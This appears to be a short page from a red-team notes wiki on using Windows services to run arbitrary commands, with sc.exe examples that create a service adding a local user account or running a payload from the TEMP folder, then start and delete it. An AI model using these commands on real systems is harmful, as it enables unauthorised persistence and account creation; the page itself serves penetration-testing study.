# Services

## Theory

Windows services can also be leveraged to run arbitrary commands since they execute a command when started.

## Practice

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On windows, we can use the built in sc.exe binary to remotely interact with services

```bash
#Create a service
sc.exe create MyService binPath= "net user munra Pass123 /add" start= auto
sc.exe create MyService binPath= "C:\Windows\TEMP\payload.exe" start= auto

#Start a service
sc.exe start MyService

#Stop and delete a remote service
sc.exe stop MyService
sc.exe delete MyService
```

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You may want to check this page for remote services execution :

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[Services (SVCCTL)](/redteam/pivoting/services-svcctl.md)
{% endcontent-ref %}


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